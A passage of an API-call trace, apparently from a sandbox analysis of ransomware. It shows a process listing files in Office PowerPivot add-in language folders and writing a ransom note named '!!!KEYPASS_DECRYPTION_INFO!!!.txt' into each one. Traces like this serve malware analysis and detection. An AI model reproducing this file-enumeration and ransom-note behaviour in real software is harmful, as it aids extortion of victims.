(pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.170] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.170] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.170] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.170] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.170] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.170] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.170] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.170] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.170] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.171] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.171] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.171] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.171] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.171] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.171] GetLastError () returned 0x3f0 [0255.171] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.171] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0255.177] GetFileType (hFile=0x8cc) returned 0x1 [0255.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.177] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.177] WriteFile (in: hFile=0x8cc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.178] WriteFile (in: hFile=0x8cc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.178] CloseHandle (hObject=0x8cc) returned 1 [0255.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3988138 [0255.178] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.180] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.180] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.180] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.180] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned=".xml" [0255.180] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.180] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.180] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.180] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.180] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.180] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.180] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.181] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.181] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.182] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.182] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.182] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.182] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.182] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.182] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.182] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.182] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.182] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.183] FindNextFileW (in: hFindFile=0x3988138, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.183] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.183] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\OFFICE.DLL") returned=".DLL" [0255.183] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.183] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.183] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.183] GetLastError () returned 0x3f0 [0255.183] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.183] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0255.187] GetFileType (hFile=0x8d8) returned 0x1 [0255.187] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.187] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.188] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.188] WriteFile (in: hFile=0x8d8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.188] WriteFile (in: hFile=0x8d8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.188] CloseHandle (hObject=0x8d8) returned 1 [0255.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987fb8 [0255.189] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.191] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.191] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.191] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.191] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned=".xml" [0255.191] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.191] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.191] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.191] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.191] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.191] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.191] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.192] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.193] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.193] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.193] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.193] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.193] FindNextFileW (in: hFindFile=0x3987fb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.193] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 